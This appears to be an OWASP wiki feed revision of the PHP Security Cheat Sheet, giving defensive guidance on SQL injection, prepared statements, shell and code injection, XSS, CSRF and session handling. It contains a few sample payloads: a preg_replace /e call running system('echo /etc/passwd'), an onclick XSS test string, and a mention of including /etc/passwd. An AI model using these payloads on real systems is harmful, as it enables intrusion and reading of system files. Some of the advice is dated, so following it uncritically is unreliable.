There are ways to send different data types to a database, ints, floats, etc. Never rely on them, instead always send a string to the database. Database engines type cast automatically if they need to. This makes for much safer queries. Make this a habit of yours, and see how many time it saves you. Still, do not concatenate without escaping the values. Check the [[#Use Prepared Statements|Use Prepared Statements]].&lt;br /&gt;
&lt;br /&gt;
====Wrong====&lt;br /&gt;
 $x=1; &lt;br /&gt;
 SELECT * FROM users WHERE ID &amp;gt; $x&lt;br /&gt;
====Right====&lt;br /&gt;
 $x=1; // or $x='1';&lt;br /&gt;
 SELECT * FROM users WHERE ID &amp;gt;'$x';&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. Number fields might also be vulnerable if not used as strings. Instead use prepared statements or equivalent.&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
        if (!in_array($Needle,$Haystack))&lt;br /&gt;
                return reset($Haystack); //first element&lt;br /&gt;
        return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
 	return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
 	echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., you have to use a '''Secure Encoding''' library, but cannot trust the user. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers such always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* We don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with the above statement when you see a variable is included, no harm comes with that.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165048</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165048"/>
				<updated>2013-12-21T18:34:26Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: Clarified awkwardly phrased &amp;quot;no tags&amp;quot; and &amp;quot;yes tags&amp;quot; sections.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP status on the web==&lt;br /&gt;
